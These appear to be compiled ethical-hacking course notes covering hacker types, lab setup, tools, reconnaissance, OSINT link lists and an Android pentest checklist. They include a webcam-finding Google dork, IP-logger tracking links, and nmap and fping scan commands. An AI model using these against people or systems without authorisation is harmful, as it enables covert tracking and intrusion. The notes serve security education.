Introduction to Ethical Hacking
Introduction to Cybersecurity
Ethical Hacker Career Roadmap
Hacker Lab and Environment setup
Learning Objectives
introducing to Ethical hacking
Certified Ethical Hacker A to Z for self learner.
https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_reconnaissance.htm
An ethical hacker, also known as a white-hat hacker, is a cybersecurity professional who legally and ethically attempts to penetrate computer systems, networks, and applications to identify and fix security vulnerabilities. They use their skills to strengthen security measures, protect against malicious hackers, and help organizations safeguard their digital assets. Ethical hackers often perform activities such as penetration testing, vulnerability assessments, and security audits to enhance cybersecurity. Their work plays a crucial role in maintaining the integrity and confidentiality of digital information.
Types of Hackers
Hackers can be categorized into several types based on their intent and activities. Understanding these hacker types is crucial for maintaining cybersecurity and protecting digital assets. Here are some common types of hackers:
1. Black Hat Hackers
- Intent: Malicious and illegal activities, such as unauthorized system breaches, data theft, or causing harm.
- Actions: Engage in criminal hacking with the goal of personal gain or damage.
2. White Hat Hackers
- Intent: Ethical hackers who legally identify and fix security vulnerabilities to enhance cybersecurity.
- Actions: Hired by organizations to strengthen security defenses through activities like penetration testing.
3. Grey Hat Hackers
- Intent: Activities fall between black-hat and white-hat hackers, often without explicit authorization.
- Actions: May disclose vulnerabilities they find but operate in a legally ambiguous space.
4. Hacktivists
- Intent: Use hacking skills to promote political or social causes.
- Actions: Target organizations or individuals they believe act against their causes, with actions often straddling legality.
5. Script Kiddies
- Intent: Limited technical skills, relying on pre-written scripts or tools.
- Actions: Often engage in illegal activities without a deep understanding of hacking.
6. State-Sponsored Hackers
- Intent: Employed or supported by governments for cyber espionage or cyber warfare.
- Actions: Operate on behalf of a nation-state, with potentially significant geopolitical consequences.
7. Phreakers
- Intent: Manipulate and exploit telecommunications systems, especially for unauthorized access or free calls.
8. Cybercriminals
- Intent: Engage in criminal activities for financial gain.
- Actions: Steal data, launch ransomware attacks, commit fraud, or engage in other illegal online activities.
9. Red Teamers
- Role: Simulate cyberattacks on organizations to assess and enhance their security posture.
- Actions: Work alongside blue teamers who defend against these simulated attacks.
10. Bug Bounty Hunters
- Role: Actively search for and report security vulnerabilities in software or websites.
- Actions: Do this legally and often receive rewards or bounties for their findings.
Understanding the motivations and actions of these hacker types is essential for developing effective cybersecurity strategies and protecting digital environments.
Lab Setup for Ethical Hacking
Setting up a dedicated lab environment for ethical hacking is essential for practicing and honing your skills without risking real systems. Here's a step-by-step guide on how to set up your ethical hacking lab:
Hardware and Software
-
Hardware: Ensure you have a powerful computer with sufficient RAM and storage to run virtual machines (VMs).
-
Virtualization Software: Install virtualization software like VMware Workstation or Oracle VirtualBox to create and manage VMs.
-
Operating Systems: Set up various operating systems, including Windows, Linux (e.g., Kali Linux, Ubuntu), and vulnerable systems (e.g., Metasploitable).
Network Configuration
-
Virtual Network: Create a virtual network within your virtualization software to isolate your lab environment from your production network.
-
Router and Firewall: Use software routers or firewall VMs to simulate network configurations and segmentation.
Lab Components
-
Kali Linux: Install Kali Linux as your primary ethical hacking operating system, preloaded with a variety of hacking tools.
-
Metasploitable: Use Metasploitable VMs to practice exploiting vulnerabilities and running penetration tests.
-
Web Applications: Set up vulnerable web applications like DVWA (Damn Vulnerable Web Application) or OWASP WebGoat.
-
Capture The Flag (CTF) Challenges: Find and install CTF challenges and platforms to practice various hacking skills.
Networking Tools
-
Use tools like Wireshark for network packet analysis.
-
Set up a DNS server to practice DNS-related attacks.
Security Tools
-
Install and configure intrusion detection systems (IDS) and intrusion prevention systems (IPS).
-
Use vulnerability scanning tools like Nessus or OpenVAS to identify weaknesses in your lab environment.
Practice Safe Practices
-
Always operate within the bounds of the law and obtain proper permissions before attempting any penetration tests on real systems.
-
Keep all software and systems in your lab up to date with security patches.
-
Maintain regular backups of your lab VMs and configurations.
Documentation
- Keep detailed notes and documentation of your lab setup, configurations, and findings. This is crucial for learning and reference.
Continuous Learning
- Stay updated with the latest ethical hacking techniques, tools, and methodologies. Join online forums, communities, and attend training courses.
Legal and Ethical Considerations
- Understand the legal and ethical responsibilities of ethical hacking. Never attempt any activities without proper authorization and consent.
Security
- Ensure that your lab environment is properly secured. Change default passwords, use strong authentication, and restrict access to your lab.
By following these steps, you can create a safe and effective environment for practicing ethical hacking techniques and improving your cybersecurity skills responsibly.
Hacker's Team Membership
If you're exploring the world of hacking and cybersecurity, you may encounter various team memberships, each with its own roles and responsibilities. Here's a list of common hacker team memberships:
1. Programmer
- Skilled in coding and scripting, often used to develop tools and scripts for hacking.
2. Cracker
- Focuses on breaking software protections, such as cracking software licenses or copy protection.
3. Defacer
- Specializes in altering the appearance of websites by replacing their content with their own messages.
4. Carder
- Engages in credit card fraud and unauthorized financial transactions.
5. Bug Hunter
- Searches for and reports software vulnerabilities to help improve security.
6. CTF Player (Capture The Flag)
- Enjoys solving hacking challenges and puzzles in Capture The Flag competitions.
7. Spammer
- Sends unsolicited emails or messages in large volumes, often for malicious purposes.
8. Black Hat
- Engages in malicious and illegal hacking activities with criminal intent.
9. White Hat
- Ethical hacker who legally identifies and fixes security vulnerabilities to enhance cybersecurity.
10. Gray Hat
- Operates in a morally ambiguous space, conducting hacking activities without explicit authorization but without malicious intent.
11. Developer
- Creates software and tools, often used by hackers to automate tasks or exploit vulnerabilities.
12. Beta Crew
- Testers who evaluate new hacking tools and techniques before wider release.
13. Crew Member
- A member of a hacking group or crew.
14. Zone Admin
- Manages specific areas or zones on a network, often responsible for security.
15. Admin
- Has administrative privileges, often within a hacker forum or system.
16. CEO (Chief Executive Officer)
- The leader or top authority figure within a hacking group or organization.
These team memberships reflect the diverse roles and responsibilities within the world of hacking and cybersecurity. Keep in mind that ethical considerations and legal boundaries should always be respected in any hacking activity.
Freelancing in Cybersecurity
If you're passionate about cybersecurity and want to work independently, freelancing can be a rewarding career option. Here are some remote job roles and opportunities in the field:
1. Ethical Hacker
- Role: Ethical hackers, also known as white-hat hackers, use their skills to identify and fix security vulnerabilities.
- Freelancing Opportunity: Offer your services to organizations looking to assess and enhance their cybersecurity.
2. White Hat Hacker
- Role: Similar to ethical hackers, white-hat hackers focus on security testing and vulnerability assessment.
- Freelancing Opportunity: Provide penetration testing and security consulting services to clients remotely.
3. Cybersecurity Expert/Specialist
- Role: Cybersecurity experts are well-versed in various aspects of cybersecurity, from threat analysis to risk management.
- Freelancing Opportunity: Offer expertise in cybersecurity strategy and implementation to businesses seeking protection.
4. Bug Bounty Hunter
- Role: Bug bounty hunters actively seek and report security vulnerabilities in software and websites.
- Freelancing Opportunity: Participate in bug bounty programs offered by companies and platforms, earning rewards for finding and responsibly disclosing vulnerabilities.
5. Pentester (Penetration Tester)
- Role: Pentesters simulate cyberattacks to identify weaknesses in a system's defenses.
- Freelancing Opportunity: Freelance pentesters are in demand for assessing and securing networks, applications, and websites.
Explore these freelance opportunities in cybersecurity to leverage your skills and help organizations strengthen their digital defenses while enjoying the flexibility of remote work.
Vulnerability Scoring Systems and Databases
In the field of cybersecurity, vulnerability scoring systems and databases play a crucial role in identifying, categorizing, and prioritizing security vulnerabilities. Here are some prominent ones:
Common Vulnerability Scoring System (CVSS)
- Description: CVSS is a standardized system for assessing the severity and potential impact of security vulnerabilities.
- Use: It assigns a numeric score to vulnerabilities, helping organizations prioritize and address them based on their criticality.
- Website: CVSS Official Website
Common Vulnerabilities and Exposures (CVE)
- Description: CVE is a dictionary of publicly known information security vulnerabilities and exposures.
- Use: Each CVE entry provides a unique identifier for a vulnerability, making it easier to track and reference vulnerabilities across the cybersecurity community.
- Website: CVE Official Website
National Vulnerability Database (NVD)
- Description: NVD is the U.S. government repository of standards-based vulnerability management data.
- Use: It provides a comprehensive database of vulnerabilities, including CVSS scores, making it a valuable resource for security professionals.
- Website: NVD Official Website
Common Weakness Enumeration (CWE)
- Description: CWE is a community-developed list of common software weaknesses.
- Use: It helps identify vulnerabilities and design flaws in software by providing a standardized language for discussing security weaknesses.
- Website: CWE Official Website
These vulnerability scoring systems and databases are essential tools for cybersecurity professionals and organizations to stay informed about vulnerabilities, assess their severity, and take appropriate measures to secure their systems and data.
Want to Become an Ethical Hacker?
একজন হ্যাকারের যা জানা থাকা দরকার
If you aspire to become an ethical hacker, there are essential skills and knowledge areas you need to focus on:
-
Programming is Important!
- Programming languages like Python, JavaScript, and C/C++ are essential for creating tools, scripts, and understanding the inner workings of software.
-
Have a Hacker's Mindset
- Think like a hacker by exploring systems, seeking vulnerabilities, and understanding how things can be exploited.
-
Be Verbose, But Don't Talk Much
- Effective communication is crucial. Document your findings and share them with your team, but avoid revealing too much publicly.
-
Logical Thinking
- Develop strong problem-solving skills and the ability to think logically to uncover vulnerabilities and devise secure solutions.
-
Don't Learn It All, But Know It All
- Cybersecurity is a vast field. Focus on mastering specific areas like network security, web application security, or penetration testing.
-
Computer Basics: Hardware, Software, Processing Methodology
- Understand the fundamentals of computer hardware, software, and how data processing works.
-
Web and Internet
- Learn about protocols like HTTP, DNS, Web Servers, FTP, and SMTP to understand web technologies and potential attack vectors.
-
Networking
- Master TCP/IP, ARP, network devices, types of networks, and routing and switching concepts for comprehensive network security.
-
Operating Systems
- Familiarize yourself with various operating systems, including Linux distributions (e.g., Kali, Parrot, Red Hat), Windows, Android, iOS, and macOS.
Embarking on a journey to become an ethical hacker requires dedication and continuous learning. Start with the basics, build a strong foundation, and gradually specialize in areas that align with your interests and career goals.
Remember that ethical hacking is about safeguarding systems and data, so always prioritize ethical conduct and respect legal boundaries in your cybersecurity endeavors.
Some Very Common Hacking Tools
Here are some widely used hacking tools that security professionals and ethical hackers employ for various cybersecurity tasks:
-
Nessus Vulnerability Scanner
- A network vulnerability scanner that detects security flaws in a wide range of systems and applications.
-
Kismet
- A wireless network analyzer that monitors wireless network traffic to identify potential security issues.
-
John The Ripper
- A password cracking tool capable of cracking Unix, Windows, and encrypted passwords.
-
Unicornscan
- A fast and lightweight network scanner that identifies open ports, service versions, and network information.
-
Netsparker
- A web application vulnerability scanner used to identify vulnerabilities in websites and web applications.
-
Burp Suite
- A comprehensive web application security testing tool, including scanning, crawling, and application attack testing.
-
Sqlmap
- Detects and exploits SQL injection vulnerabilities in web applications.
-
Nikto Website Vulnerability Scanner
- Scans web servers for vulnerabilities and security issues.
-
SuperScan
- A powerful network scanner that detects open ports, vulnerabilities, and network information.
-
Metasploit
- A penetration testing framework for identifying and exploiting vulnerabilities in various systems and applications.
-
Nmap
- A comprehensive network scanner that identifies open ports, vulnerabilities, and network information.
-
Aircrack-ng
- Used to crack Wi-Fi network authentication keys.
-
Acunetix
- A web application security scanner that identifies vulnerabilities and security issues in websites and web applications.
-
Wireshark
- A network protocol analyzer for troubleshooting network issues and detecting security threats.
-
Hashcat
- A password cracking tool supporting a wide range of password types and hash algorithms.
-
Maltego
- Software for open-source intelligence and forensic analysis of threat actors.
-
Social-Engineer Toolkit
- Used for performing social engineering attacks, such as phishing and spear-phishing.
These tools are essential for cybersecurity professionals to identify vulnerabilities, assess security risks, and enhance the overall security posture of systems and networks.
Common Hacking Techniques
In the world of cybersecurity, understanding common hacking techniques is essential for identifying vulnerabilities and protecting against cyber threats. Here are some widely used hacking techniques:
-
Phishing
- Description: Trick users into revealing sensitive information (e.g., passwords, credit card details) by posing as a trustworthy entity in electronic communication.
-
Malware
- Description: Software designed to gain unauthorized access or cause damage to a computer system.
-
Keylogger
- Description: Malware that records keystrokes, potentially stealing sensitive information like passwords and credit card numbers.
-
Cross-Site Scripting (XSS)
- Description: Exploits vulnerabilities in web applications to inject malicious code into web pages, compromising user data and server security.
-
SQL Injection (SQLi)
- Description: Exploits database vulnerabilities in web applications, allowing attackers to inject SQL commands and steal sensitive data.
-
Denial of Service (DoS) / Distributed Denial of Service (DDoS) Attacks
- Description: Overwhelm a system or network to make it unavailable to users, often by flooding it with traffic.
-
Social Engineering
- Description: Manipulating individuals to divulge sensitive information, data, or access to a system or network.
-
Card Skimming
- Description: Installing discreet devices on ATMs to steal card data when users insert or swipe their cards.
-
ATM Hacking
- Description: Exploiting vulnerabilities or using hardware hacks to gain unauthorized access to ATMs, stealing card data and PINs.
-
System Hacking
- Description: Exploiting vulnerabilities in operating systems or applications to gain unauthorized access, steal data, or perform malicious actions.
-
Web Server Hacking
- Description: Exploiting vulnerabilities in web servers to gain unauthorized access, steal data, or carry out other malicious activities.
-
Cryptography
- Description: Securing communication by converting data into an unreadable format that can't be easily intercepted or understood by unauthorized persons.
-
Sniffing
- Description: Intercepting and monitoring network traffic to steal sensitive data, such as passwords and other transmitted information.
-
Session Hijacking
- Description: Taking control of an active user session in a web application, allowing attackers to access restricted areas, steal data, or perform fraudulent actions.
Understanding these hacking techniques is crucial for safeguarding systems, networks, and sensitive data against cyber threats and attacks.
Hacking Devices
In the realm of cybersecurity, various hacking devices are employed for research, penetration testing, and security analysis. These devices have diverse applications, from identifying vulnerabilities to testing system resilience. Here are some notable hacking devices:
-
USB Rubber Ducky
- Description: A small USB device for automated keystroke injection attacks. It emulates a keyboard and executes programmed sequences of commands.
-
Raspberry Pi
- Description: A low-cost, versatile, credit card-sized computer used for penetration testing, network monitoring, and data privacy.
-
HackRF One
- Description: An open-source software-defined radio platform that enables analysis and emulation of various wireless protocols like Bluetooth, FM radio, and GSM.
-
USB Killer
- Description: A malicious USB device that delivers a high-voltage electrical surge to test the durability and security of electrical devices.
-
Proxmark3 Kit
- Description: A tool for RFID research and attacks, capable of interacting with, reading, and cloning RFID cards and tags.
-
WiFi Pineapple
- Description: A device for wireless penetration testing and reconnaissance, used to create fake Wi-Fi access points, collect client-side information, and perform man-in-the-middle attacks.
-
Hardware Keylogger
- Description: A small device attached to a keyboard to record keystrokes. Useful for monitoring user activity and security testing.
-
Alfa Network Board
- Description: A wireless network adapter for wireless penetration testing, network analysis, and reconnaissance, often used to capture packets and perform wireless attacks.
These hacking devices are indispensable tools for cybersecurity professionals, penetration testers, and researchers. They enable comprehensive assessments and analysis of systems, networks, and components to uncover vulnerabilities and weaknesses. It's crucial to use them responsibly, respecting privacy and safety considerations.
Hacker Lab Setup
Setting up a hacker lab with virtual machines allows you to experiment with different operating systems and software without risking your primary environment. Here's a guide on enabling virtualization and downloading essential tools for your hacker lab.
Enable Virtualization in Windows 10
- Virtualization allows you to run virtual machines (VMs).
- To enable it, access your BIOS/UEFI settings, look for Virtualization, and enable it.
- Confirm that your CPU supports virtualization technology.
Download Virtualization Software
-
VMware
-
VirtualBox
For Mac Users
- You can use VMware or VirtualBox to set up virtual machines on macOS.
Download Kali Linux (VMware / VirtualBox)
Download Parrot OS
How to Install Parrot OS on VMware
Windows OS
Windows Sandbox
- Enable Windows Sandbox by following this video tutorial.
Cloud Linux OS
- Explore Linux in the cloud using Google Cloud Shell.
Kali Linux - Online in the Cloud
- Try Kali Linux online using OnWorks.
Android (VMware)
- Download Android-x86 from FossHub or OSBoxes.
- Follow this tutorial for setup.
- Bangla Tutorial is also available.
Android (VirtualBox)
- Download Android-x86 from FossHub or OSBoxes.
- Follow this tutorial for setup.
- Explore Bangla Tutorial if needed.
Android Emulator
- LDPlayer: Download LDPlayer
- Noxplayer: Download Noxplayer
- Gameloop: Download Gameloop
Set up your hacker lab with these tools and enjoy a secure and isolated environment for cybersecurity experimentation.
footprinting and reconnaissance
Learning Objectives
Understanding Footprinting and Reconnaissance in Cybersecurity
Introduction: Footprinting and reconnaissance are fundamental steps in the process of information gathering. They play a crucial role in cybersecurity, ethical hacking, and competitive intelligence by providing valuable insights into a target, be it a network, organization, or individual.
Footprinting: Footprinting marks the initial phase of information gathering. It involves the discreet collection and analysis of data about the target without any direct interaction. The primary goal is to acquire as much relevant information as possible while avoiding detection. Passive techniques, such as examining public sources, social media profiles, domain registrations, DNS records, and web server banners, are used to build a comprehensive profile of the target. Additionally, this phase identifies potential vulnerabilities and areas of interest within the target's infrastructure.
Reconnaissance: Reconnaissance, also known as active information gathering or probing, follows footprinting. This phase involves actively probing the target to gather specific and detailed information. Unlike footprinting, reconnaissance is more intrusive.
It's important to note that while these activities are essential for security professionals to understand and protect against potential threats, they can also be used maliciously by hackers or cybercriminals. Unauthorized or malicious footprinting and reconnaissance activities are illegal and unethical, as they can lead to security breaches, data theft, or other harmful actions. Ethical hacking, also known as penetration testing, involves performing these activities with proper authorization to identify and mitigate security weaknesses.
In summary, footprinting and reconnaissance are crucial phases in information gathering that can be used for both legitimate security purposes and potentially malicious activities, depending on the intent and authorization of the person conducting them.
Reconnaissance in Ethical Hacking
Reconnaissance, also known as Footprinting or Information Gathering, is a crucial stage in ethical hacking that involves gathering information about a target system or network. In this guide, we will explore the various techniques and tools used in reconnaissance to identify vulnerabilities that could be exploited.
Types of Reconnaissance
There are two main types of reconnaissance:
Passive Reconnaissance
Passive reconnaissance involves gathering information without directly interacting with the target system. This can be done through publicly available sources, such as websites and search engines.
Active Reconnaissance
Active reconnaissance involves directly interacting with the target system. This can include techniques such as network scans and vulnerability scans and can raise the risk of detection.
What Ethical Hackers and Pentesters Look For
Ethical hackers and pentesters look for various pieces of information during the reconnaissance phase, including:
- Network Information
- Domain name
- Internal Domain
- IP Address
- Unmonitored/private websites
- TCP/UDP Services
- VPN/IDS/IPS/access controls
- VPN info
- Phone numbers/VoIP
- Network topology
- Network device
- Operating System Information
- Users and group names/info
- Banner grabbing
- Routing tables
- SNMP
- System architecture
- Remote systems
- System names
- Passwords
- Dumpster diving
- Version
- Patch level
- Organization Information
- Organization website
- Company directory
- Employee information
- Business structure
- Location details
- Comments in HTML source code
- Security policies deployed
- Webserver links
- Background of organization
- Marketing and advertising
- Prevailing events
- Partners
- Phone
- Financial information
External Network Pentester
External network pentesters focus on evaluating the security of an organization’s external network infrastructure. They look for:
- Whois
- Operating systems and applications
- Publicly accessible information
- Google and Search Engine
- Website Mirroring
- Archive Sites
- Github recon
- Network Information
- Web server Content
- Email Header
- People Sites
- Social Network
- Alert Website
Internal Network Pentester
Internal network penetration testing focuses on evaluating the security of an organization’s internal network infrastructure. They look for:
- IP Address
- Internal DNS
- Private Website
- Dumpster Diving
- Shoulder Surfing
Web Application Pentester
Web application pentesters focus on evaluating the security of an organization’s web applications. They look for:
- Network Information
- IP address
- Domain name
- Network topology
- Open ports and services
- Web Application Information
- Web server technology used
- Application framework
- Source code (if accessible)
- Session management
- Input validation and data handling
- Authentication and authorization mechanisms
- Web Server Information
- Operating system
- Web server software version
- Server-side scripting language and version
- Database management system and version
- Web Application Components
-
Dynamic content generation
-
Client-side scripting languages
-
Third-party components and libraries
-
Conclusion
Reconnaissance is an essential stage in ethical hacking that involves gathering information about a target system or network. It helps ethical hackers and pentesters identify vulnerabilities that could be exploited. By understanding the various techniques and tools used in reconnaissance, you can enhance your skills as an ethical hacker or pentester.
Footprinting in Cybersecurity
Footprinting involves gathering information about a target system that can be used to execute a successful cyber attack. To obtain this information, hackers use various methods and tools. This information serves as the initial step for the hacker to exploit a system. There are two types of footprinting:
Active Footprinting
Active footprinting involves direct interaction with the target machine.
Passive Footprinting
Passive footprinting involves collecting information about a system located remotely from the attacker.
Information Gathered Through Footprinting
- The operating system of the target machine
- Firewall information
- IP address
- Network map
- Security configurations of the target machine
- Email IDs and passwords
- Server configurations
- URLs
- VPN details
Sources for Footprinting
-
Social Media: Hackers leverage the tendency of many individuals to share sensitive information online. They may create fake accounts to befriend or follow someone to gather their information.
-
JOB Websites: Organizations often share confidential data on job websites. For example, a job posting mentioning "Job Opening for Lighttpd 2.0 Server Administrator" reveals that an organization uses the Lighttpd web server version 2.0.
-
Google: Search engines like Google can be used for advanced searches, known as "Google hacking." Operators like "inurl," "allinurl," and "filetype" combined with basic search techniques can reveal sensitive information. For example, searching "inurl:ViewerFrame?Mode=" can find public web cameras.
-
Social Engineering: Various techniques fall under this category, including eavesdropping and shoulder surfing, where attackers attempt to record personal information through communication mediums.
-
Archive.org: This website collects snapshots of older website versions, providing information that may no longer exist on the current site.
-
Organization's Website: The organization's website is a prime source for open-source information provided to clients, customers, or the public.
-
Using Neo Trace: NeoTrace is a powerful tool for tracing network paths. It displays the route between the user and the remote site, including intermediate nodes and their information.
-
Whois: This website allows hackers to trace information about domain names, email IDs, domain owners, and more, serving as a valuable tool for website footprinting.
By understanding these techniques and sources, individuals can enhance their knowledge of footprinting in cybersecurity.
Fingerprinting in Ethical Hacking
Fingerprinting refers to the methods used in ethical hacking to determine the operating system running on a remote computer. There are two main types of fingerprinting:
Active Fingerprinting
Active fingerprinting involves sending specially crafted packets to a target machine and analyzing its response to determine the target's operating system. Tools like NMAP can be used for this purpose.
Passive Fingerprinting
Passive fingerprinting relies on sniffer traces from the remote system, such as Wireshark data. By analyzing these traces, you can deduce the operating system of the remote host.
Factors Analyzed for OS Determination
To determine the operating system, four important elements are examined:
- TTL (Time-To-Live) set on outbound packets
- Window Size
- DF (Don't Fragment) bit
- TOS (Type of Service) settings
These factors help in OS identification, although it's not always 100% accurate and may work better for some operating systems than others.
Basic Steps
Before attacking a system, it's crucial to determine the target's operating system. Once known, it's easier to identify potential vulnerabilities for exploitation.
Here's a simple NMAP command to identify the OS and open ports of a website:
nmap -O -v tutorialspoint.com
Port Scanning
Port scanning reveals open ports on a server. For example:
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 3306/tcp open mysql
Ping Sweep A ping sweep (ICMP sweep) helps find live hosts in a range of IP addresses. For example, using fping:
fping -a -g 192.168.0.1 192.168.0.255
DNS Enumeration
DNS enumeration gathers information about DNS servers and their records. Tools like nslookup and scripts like DNSenum.pl can assist in this process.
Quick fixes and precautions are also discussed to safeguard systems against potential attacks.
These techniques and tools are essential in ethical hacking to gather information about target systems and enhance security.
IP Track
IP Logger:-
- https://iplogger.org/
- https://grabify.link/
IP Locator:-
- https://www.iplocation.net/
Google Map(Location Track)
Latitude & Longitude in Google Maps
- https://www.google.com/maps
Domain (Website Info) >> Part-1
DNS:
- https://smallseotools.com/domain-ip-lookup/
- https://dnsdumpster.com/
- https://www.ultratools.com/tools/dnsLookup
- https://dnschecker.org/ns-lookup.php
Site Hosting Company Info:
Domain (Website Info) >> Part-2
❑ Reverse Ip
- https://www.yougetsignal.com/tools/web-sites-on-web-server/
- https://hackertarget.com/reverse-ip-lookup/
- https://www.whoishostingthis.com/
- https://smallseotools.com/reverse-ip-lookup/
Which platform used for developing Ping to identify server details (CMS Check)
❑ CMS Check
- https://whatcms.org/
- https://cmsdetect.com/
- https://www.wpthemedetector.com/
Chrome Extension
- https://chrome.google.com/webstore/detail/what-cms-is-this/gamohlpmdjkdjepgdgjohkbfpmeelmem
- https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?hl=en
Which platform used for developing Ping to identify server details (Site BuiltWith) Chrome Extension WhatRuns
- https://chrome.google.com/webstore/detail/whatruns/cmkdbmfndkfgebldhnkbfhlneefdaaip?hl=enBuiltWith
Online Tools
- https://builtwith.com/
- https://sitereport.netcraft.com/
- https://w3techs.com/site
Extra Site Info
Domain Country Checker Alexa, Country Flag Etc Browser Extension
Domain Age Checker
- https://www.duplichecker.com/domain-age-checker.php
SSL Checker
- https://www.digicert.com/help/
Check Server Status
- https://smallseotools.com/check-server-status/
Website Speed Checker
- https://tools.pingdom.com/
- https://gtmetrix.com/
WEBSITE LINK COUNTER CHECKER
- https://smallseotools.com/website-links-count-checker/
Email Header
Online Tools
- https://mxtoolbox.com/EmailHeaders.aspx
- https://www.whatismyip.com/email-header-analyzer/
- https://chrome.google.com/webstore/detail/email-tracker-for-gmail-m/ndnaehgpjlnokgebbaldlmgkapkpjkkb
Valid Email Address Checker
Online Valid Mail Checker
- https://quickemailverification.com/
- https://network-tools.com/
Valid Mail Verifier Tool
To check mail address valid or invalid
IP Locator Best One
- https://ipinfo.io
Data Breach Checker
- https://breachdirectory.org/
- https://haveibeenpwned.com/
epieos Tools |Email Recon
epieos Tools - Email Checking Tool - Leaks, Google Profiles | OSINT Recon
- https://tools.epieos.com/
Subdomain Enumeration Suite
❑ Sub3 Suite is a research-grade suite of tools for Subdomain Enumeration, OSINT Information gathering & Attack Surface Mapping. Supports both manual and automated analysis on variety of target types with many available features & tools. ❑ Github: 3nock/sub3suite: a free, open source, cross platform Intelligence gathering tool. (github.com)
OSINT Sites List
Recon
TryHackMe Room
Theory
- https://tryhackme.com/room/geolocatingimages
- https://tryhackme.com/room/ohsint
- https://tryhackme.com/room/searchlightosint
Android App Pentesting Checklist
Welcome to the "Android App Penetration Testing Checklist" Repository!
Explore the ultimate companion for Android app penetration testing, meticulously crafted to identify vulnerabilities in network, data, storage, and permissions effortlessly. This repository merges a comprehensive checklist of tasks and cutting-edge techniques, providing security professionals with a robust framework for a thorough security assessment of Android applications.
The checklist covers a range of topics, including:
Static analysis: reviewing the app's source code and resources for potential vulnerabilities
Dynamic analysis: analyzing the app's behavior and interactions with the device and network during runtime
Network analysis: analyzing the app's communication with servers and other external resources over the network
Permission analysis: reviewing the app's requested permissions and assessing whether they are appropriate and secure
Cryptographic analysis: reviewing the app's use of cryptography and ensuring that it is implemented securely
Data storage analysis: analyzing the app's handling of sensitive data, including how it is stored and transmitted
This checklist is intended as a starting point for penetration testers and bug bounty hunters to identify common security issues in Android applications. It is not a comprehensive guide to all possible security issues and should be used in conjunction with other resources and best practices.
Table of Content
- Android Applications Penetration Testing Checklist (v1.1)
- Important Tools
- Tools Installation/Setup
- Prerequisites
- Mobile Security Framework (MobSF)
- Drozer (on desktop)
- APKLeaks
- Apktool
- APKToolGUI
- JADX
- JD-GUI
- Dex2Jar
- Objection
- Burp Suite
- Postman
- Radare2
- Nuclei
- Zipalign
- DB Browser for SQLite
- Frida Tools
- Frida Server (Magisk-Frida)
- Always Trust User Certs & Burp-cert Magisk Modules
- Fridump
- Useful Commands & Tools Usage
- ADB Commands
- Frida Commands
- Objection Commands
- Drozer Commands
- Terminology's
- SSL Pinning
- KeyStore
- Memory Dump
- Important Links
- Intentionally Vulnerable Applications For Practice
Android Applications Penetration Testing Checklist (v1.1)
C01 | SSL Pinning | Discovered | Undiscovered |
---|---|---|---|
An SSL pinning vulnerability in an Android app occurs when the app does not properly verify the server's SSL certificate or public key during the SSL/TLS handshake process, allowing a man-in-the-middle attacker to intercept and decrypt the app's communication. | |||
1 | Missing SSL Pinning |
|
|
2 | Check if is it bypassable or not using Frida/Objection |
|
|
3 | Check code manipulation possible or not |
|
|
C02 | Root Detection | Discovered | Undiscovered |
---|---|---|---|
A root detection vulnerability in an Android app occurs when the app does not properly detect and prevent access by rooted devices, allowing users to potentially gain unauthorized access to the app's data or functionality. | |||
1 | Missing Root Detection |
|
|
2 | Check if is it bypassable or not using frida/Objection |
|
|
3 | Check that internal logic flow can be modified or not |
|
|
C03 | Emulator Detection | Discovered | Undiscovered |
---|---|---|---|
An emulator detection vulnerability in an Android app occurs when the app does not properly detect and prevent access by emulators, allowing users to potentially bypass security controls or access unauthorized functionality. | |||
1 | Missing Emulator Detection |
|
|
2 | Check if is it bypassable or not using frida |
|
|
C04 | Sensitive data in ADB Logcat Logs | Discovered | Undiscovered |
---|---|---|---|
A sensitive data in ADB Logcat vulnerability in an Android app occurs when the app logs sensitive data, such as passwords or personal information, to the system log using Android Debug Bridge (ADB), potentially exposing the data to attackers or unauthorized users. | |||
1 | Check Logcat logs for sensitive information/data |
|
|
2 | Check if is it bypassable or not using frida/Objection |
|
|
3 | Check for any unencrypted request/data in Logcat logs |
|
|
C05 | Sensitive data/info stored in Local Storage | Discovered | Undiscovered |
---|---|---|---|
A sensitive data stored in local storage vulnerability in an Android app occurs when the app stores sensitive data, such as passwords or personal information, in unencrypted or unsecured local storage on the device, potentially exposing the data to attackers or unauthorized users. | |||
1 | Check for sensitive information/data store on Shared Preferences or not |
|
|
2 | Check for any information/data stored in temporary files or not |
|
|
3 | Check if sensitive information/data is stored in the local storage database using strong encryption on or not |
|
|
4 | Check for any information/data stored in any other files or not |
|
|
C06 | Sensitive data/info in Application Memory | Discovered | Undiscovered |
---|---|---|---|
A sensitive data in application memory vulnerability in an Android app occurs when the app stores sensitive data, such as passwords or personal information, in memory in an unencrypted or unsecured manner, potentially exposing the data to attackers or unauthorized users who have access to the device's memory. | |||
1 | Check for any sensitive information/data temporarily stored on Application Memory or not[ Use fridump.py (https://github.com/Nightbringer21/fridump/blob/master/fridump.py) ] |
|
|
C07 | Weak Signer Certificate | Discovered | Undiscovered |
---|---|---|---|
A weak signer certificate vulnerability in an Android app occurs when the app is signed with a weak or compromised certificate, potentially allowing attackers to modify the app or gain unauthorized access to the app's functionality. | |||
1 | Check if the app signed with a weak algorithm such as "SHC1withRSA" |
|
|
2 | Check for Janus Vulnerability |
|
|
3 | Check for the application if is it signed with debug certificate or not |
|
|
C08 | Vulnerable Android Activities | Discovered | Undiscovered |
---|---|---|---|
Android activities are components of an Android app that represent a screen or part of the app's user interface. A vulnerable Android activity is one that contains vulnerabilities, such as insecure coding practices or the use of third-party libraries with known vulnerabilities, that could be exploited by attackers to gain unauthorized access to the app's data or functionality. | |||
1 | Check for the protected activity that can be accessible by calling the activity from the ADB bypassing the Authentication activity (Authentication Bypass)Example: An application having a login screen if login is successful the app launch the second activity, and any user has to authenticate herself. But that can bypass though ADB by calling the second activity directly from ADB |
|
|
2 | Check for exported android activity is set false, and check for the android activity can activity can be launched by any other applications or not |
|
|
3 | Check if any of the application activities can be hijacked through ADB or any others tools |
|
|
4 | Check if any of the application activities cause the Denial of Service or App crash |
|
|
C09 | WebView | Discovered | Undiscovered |
---|---|---|---|
Android WebView is a component of an Android app that allows the app to display web content within the app's user interface. It can contain vulnerabilities, such as insecure coding practices improper validation, etc. | |||
1 | Check for Cross sites scripting vulnerability in android activity WebView |
|
|
2 | Check for Local File Inclusion (LFI) vulnerability in android activity WebView |
|
|
3 | Check for insecure JavaScript enabled for WebView |
|
|
